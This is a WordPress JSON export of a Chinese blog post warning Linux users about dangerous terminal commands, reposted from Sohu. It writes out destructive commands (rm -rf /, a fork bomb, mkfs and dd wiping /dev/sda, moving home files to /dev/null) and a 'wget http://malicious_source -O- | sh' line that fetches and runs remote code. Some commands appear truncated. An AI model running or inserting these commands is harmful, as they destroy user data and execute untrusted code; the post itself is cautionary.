{"id":48019,"date":"2023-05-04T14:17:04","date_gmt":"2023-05-04T06:17:04","guid":{"rendered":"http:\/\/lrxjmw.cn\/?p=48019"},"modified":"2023-05-04T14:17:04","modified_gmt":"2023-05-04T06:17:04","slug":"dangerous-terminal-command","status":"publish","type":"post","link":"https:\/\/lrxjmw.cn\/dangerous-terminal-command.html","title":{"rendered":"\u624b\u6b8b\u4e5f\u4e0d\u8be5\u6572\u7684\u547d\u4ee4"},"content":{"rendered":"
\u5bfc\u8bfb<\/td>\n | Linux\u547d\u4ee4\u662f\u4e00\u79cd\u5f88\u6709\u8da3\u4e14\u6709\u7528\u7684\u4e1c\u897f\uff0c\u4f46\u5728\u4f60\u4e0d\u77e5\u9053\u4f1a\u5e26\u6765\u4ec0\u4e48\u540e\u679c\u7684\u65f6\u5019\uff0c\u5b83\u53c8\u4f1a\u663e\u5f97\u975e\u5e38\u5371\u9669\u3002\u6240\u4ee5\uff0c\u5728\u8f93\u5165\u67d0\u4e9b\u547d\u4ee4\u524d\uff0c\u8bf7\u591a\u591a\u68c0\u67e5\u518d\u6572\u56de\u8f66\u3002<\/strong><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n <\/p>\n rm \u2013rf<\/strong><\/div>\n rm \u2013rf\u662f\u5220\u9664\u6587\u4ef6\u5939\u548c\u91cc\u9762\u9644\u5e26\u5185\u5bb9\u7684\u4e00\u79cd\u6700\u5feb\u6377\u7684\u65b9\u6cd5\uff0c\u4f46\u662f\u7ec6\u5fae\u7684\u9519\u8bef\u6216\u8005\u8bed\u6cd5\u8ba4\u77e5\u4e0d\u5230\u4f4d\uff0c\u5c31\u53ef\u80fd\u5bf9\u7cfb\u7edf\u9020\u6210\u4e0d\u53ef\u6062\u590d\u7684\u7834\u574f\uff0c\u4e0b\u9762\u7ed9\u51fa\u4e00\u4e9b\u6848\u4f8b\uff1a<\/p>\n rm \u5220\u9664linux\u4e0b\u7684\u6587\u4ef6<\/p>\n rm -r \u9012\u5f52\u5220\u9664\u6587\u4ef6\u5939\uff0c\u5305\u62ec\u7a7a\u6587\u4ef6\u5939<\/p>\n rm -f\u5f3a\u5236\u65e0\u6761\u4ef6\u5220\u9664\u53ea\u8bfb\u6587\u4ef6<\/p>\n rm -rf \/ : \u5f3a\u5236\u65e0\u6761\u4ef6\u5220\u9664root\u76ee\u5f55\u4e0b\u6240\u6709\u5185\u5bb9\u3002<\/p>\n rm -rf * : \u5f3a\u5236\u65e0\u6761\u4ef6\u5220\u9664\u5f53\u524d\u76ee\u5f55\u4e0b\u6240\u6709\u5185\u5bb9\u3002<\/p>\n rm -rf . : \u5f3a\u5236\u65e0\u6761\u4ef6\u5220\u9664\u5f53\u524d\u6587\u4ef6\u5939\u548c\u5b50\u6587\u4ef6\u5939<\/p>\n \u7efc\u4e0a\u6240\u8ff0\uff0c\u5728\u4f60\u6267\u884crm \u2013rf\u547d\u4ee4\u65f6\u5343\u4e07\u8981\u5c0f\u5fc3\uff0c\u5927\u5bb6\u53ef\u4ee5\u5728.bashrc\u91cc\u9762\u6dfb\u52a0\uff1a<\/p>\n aliasrm= 'rm -i'<\/p>\n \u8fd9\u6837\uff0c\u5728\u4f60\u4e0b\u6b21\u5220\u9664\u4e1c\u897f\u7684\u65f6\u5019\uff0c\u5b83\u4f1a\u63d0\u9192\u4f60\u5230\u5e95\u8981\u5220\u5565\u3002<\/p>\n ){:|:&};:<\/strong><\/div>\n \u8fd9\u4e2a\u547d\u4ee4\u5176\u5b9e\u662f\u4e00\u79cdfork\u70b8\u5f39\uff0c\u5b83\u5b9a\u4e49\u4e86\u4e00\u4e2a\u53eb\u201c\uff1a\u201d\u7684\u51fd\u6570\uff0c\u8c03\u7528\u4e86\u81ea\u5df1\u4e24\u6b21\uff0c\u4e00\u6b21\u662f\u5728\u524d\u53f0\uff0c\u4e00\u6b21\u662f\u5728\u540e\u53f0\u3002\u5173\u952e\u662f\u8fd9\u6837\u7684\u8c03\u7528\u4f1a\u65e0\u9650\u5faa\u73af\uff0c\u76f4\u5230\u7cfb\u7edf\u5d29\u6e83\u3002<\/p>\n \u624b\u8d31\u7684\u540c\u5b66\u53ef\u4ee5\u5c3d\u7ba1\u5728\u865a\u62df\u673a\u91cc\u8bd5\u8bd5\uff1a<\/p>\n ){ :|:&}; :\u4efb\u610f\u547d\u4ee4 > \/dev\/sda<\/p>\n \u8fd9\u4e2a\u4f8b\u5b50\u662f\u8bb2\uff0c\u6211\u4eec\u6267\u884c\u4e86\u4efb\u610f\u547d\u4ee4\uff0c\u5e76\u8f93\u51fa\u5230\/dev\/sda\u3002\u8fd9\u6837\u7684\u8bdd\uff0c\/dev\/sda \u91cc\u9762\u7684\u6587\u4ef6\u4f1a\u88ab\u547d\u4ee4\u8f93\u51fa\u7684\u5185\u5bb9\u5168\u90e8\u66ff\u6362\u6389\uff0c\u6700\u540e\u4e22\u5931\u6389\u5176\u4e2d\u539f\u6709\u7684\u6570\u636e\u3002<\/p>\n mv \u6307\u5b9a\u7684\u6587\u4ef6\u5939 \/dev\/null<\/strong><\/div>\n \u8fd9\u4e2amv\u547d\u4ee4\u4f1a\u628a\u6307\u5b9a\u7684\u6587\u4ef6\u5939\u79fb\u52a8\u5230\/dev\/null\u3002\u5728linux\u4e0b\uff0c\/dev\/null\u6216null\u662f\u4e00\u79cd\u7279\u6b8a\u7684\u6587\u4ef6\uff0c\u5b83\u4eec\u4f1a\u628a\u5199\u5165\u81ea\u8eab\u7684\u6570\u636e\u5168\u90e8\u4e22\u5f03\uff0c\u518d\u8fd4\u56de\u64cd\u4f5c\u6210\u529f\u7684\u6d88\u606f\u3002<\/p>\n # mv \/home\/user\/* \/dev\/null<\/p>\n \u4e0a\u9762\u7684\u547d\u4ee4\u4f1a\u628a\/home\/user\/\u4e0b\u9762\u6240\u6709\u7684\u5185\u5bb9\uff0c\u5168\u90e8\u79fb\u52a8\u5230\/dev\/null\uff0c\u8fd9\u5c31\u662f\u4e2a\u65e0\u5e95\u7684\u795e\u5751\u3002<\/p>\n wget http:\/\/malicious_source -O- | sh<\/strong><\/div>\n \u8fd9\u4e2a\u547d\u4ee4\u53ef\u80fd\u4f1a\u76f4\u63a5\u4e0b\u8f7d\u6076\u610f\u7684\u6e90\u6587\u4ef6\uff0c\u7136\u540e\u4f7f\u7528sh\u76f4\u63a5\u6267\u884c\u8be5\u811a\u672c\u3002<\/p>\n mkfs.ext3 \/dev\/sda<\/strong><\/div>\n \u4e0a\u9762\u7684\u4f8b\u5b50\u4f1a\u683c\u5f0f\u5316\/dev\/sda\uff0c\u5728\u6267\u884c\u4e0a\u9762\u7684\u547d\u4ee4\u540e\uff0c\u4f60\u7684\u786c\u76d8\u9a71\u52a8\u4f1a\u88ab\u6807\u8bb0\u4e3a\u65b0\u7684\u3002\u5f53\u7136\uff0c\u8fd9\u65f6\u7cfb\u7edf\u662f\u65e0\u6cd5\u518d\u6062\u590d\u6570\u636e\u4e86.<\/p>\n >\u4efb\u610f\u6587\u4ef6<\/div>\n \u8fd9\u4e2a\u547d\u4ee4\u53ef\u4ee5\u7528\u6765\u5237\u6389\u539f\u6587\u4ef6\u91cc\u7684\u5185\u5bb9\uff0c\u5982\u679c\u4f60\u4e0d\u5c0f\u5fc3\u6253\u9519\u4e86\u5b57\uff0c\u8f93\u5165\u4e86\u8bf8\u5982\u4e0b\u9762\u7684\u547d\u4ee4\uff1a<\/p>\n > xt.conf<\/p>\n \u4f60\u7cfb\u7edf\u914d\u7f6e\u6587\u4ef6\u91cc\u7684\u5185\u5bb9\u53ef\u80fd\u5c31\u4f1a\u56e0\u6b64\u88ab\u6e05\u7406\u6389\u3002<\/p>\n ^foo^bar<\/strong><\/div>\n \u8fd9\u6837\u5229\u7528^\u7b26\u53f7\uff0c\u901a\u8fc7\u4e0a\u7ffb\u8865\u5168\u547d\u4ee4\u7684\u65b9\u5f0f\uff0c\u76f4\u63a5\u7f16\u8f91\u4e4b\u524d\u8fd0\u884c\u8fc7\u7684\u547d\u4ee4\u3002\u867d\u7136\u4f60\u6216\u8bb8\u56e0\u6b64\u4e0d\u7528\u518d\u8f93\u5165\u6574\u6761\u957f\u547d\u4ee4\uff0c\u4f46\u5176\u5b9e\u8fd9\u4f1a\u5f88\u5371\u9669\u3002<\/p>\n <\/p>\n dd if=\/dev\/random of=\/dev\/sda<\/strong><\/div>\n dd\u547d\u4ee4\u4f1a\u64e6\u6389\/dev\/sda\u4e0b\u9762\u7684\u5185\u5bb9\uff0c\u7136\u540e\u5199\u5165\u968f\u673a\u7684\u5783\u573e\u6570\u636e\uff0c\u6700\u540e\u4f60\u7684\u7cfb\u7edf\u4f1a\u53d7\u5230\u4e0d\u53ef\u9006\u8f6c\u7684\u7834\u574f\u3002<\/p>\n \u9690\u85cf\u547d\u4ee4<\/strong><\/div>\n \u4e0b\u9762\u7684\u547d\u4ee4\u76f8\u5f53\u4e8erm \u2013rf\uff0c\u5b83\u4f1a\u85cf\u5728\u5341\u516d\u8fdb\u5236hex\u4e2d\u3002\u5927\u5bb6\u5728\u4e0d\u77e5\u60c5\u7684\u60c5\u51b5\u4e0b\u8fd0\u884c\u5b83\uff0c\u53ef\u80fd\u5c31\u4f1a\u76f4\u63a5\u64e6\u9664\u6389\u6574\u4e2aroot\u76ee\u5f55\uff1a \u8fd9\u4e2a\u6545\u4e8b\u544a\u8bc9\u6211\u4eec\uff0c\u81f4\u547d\u7684\u5a01\u80c1\u5728\u9690\u85cf\u8d77\u6765\u7684\u65f6\u5019\uff0c\u6211\u4eec\u901a\u5e38\u53ef\u80fd\u96be\u4ee5\u53d1\u73b0\u3002<\/p>\n \u539f\u6587\u6765\u81ea\uff1ahttp:\/\/mt.sohu.com\/it\/d20170125\/125120540_466846.shtml<\/a><\/p>\n |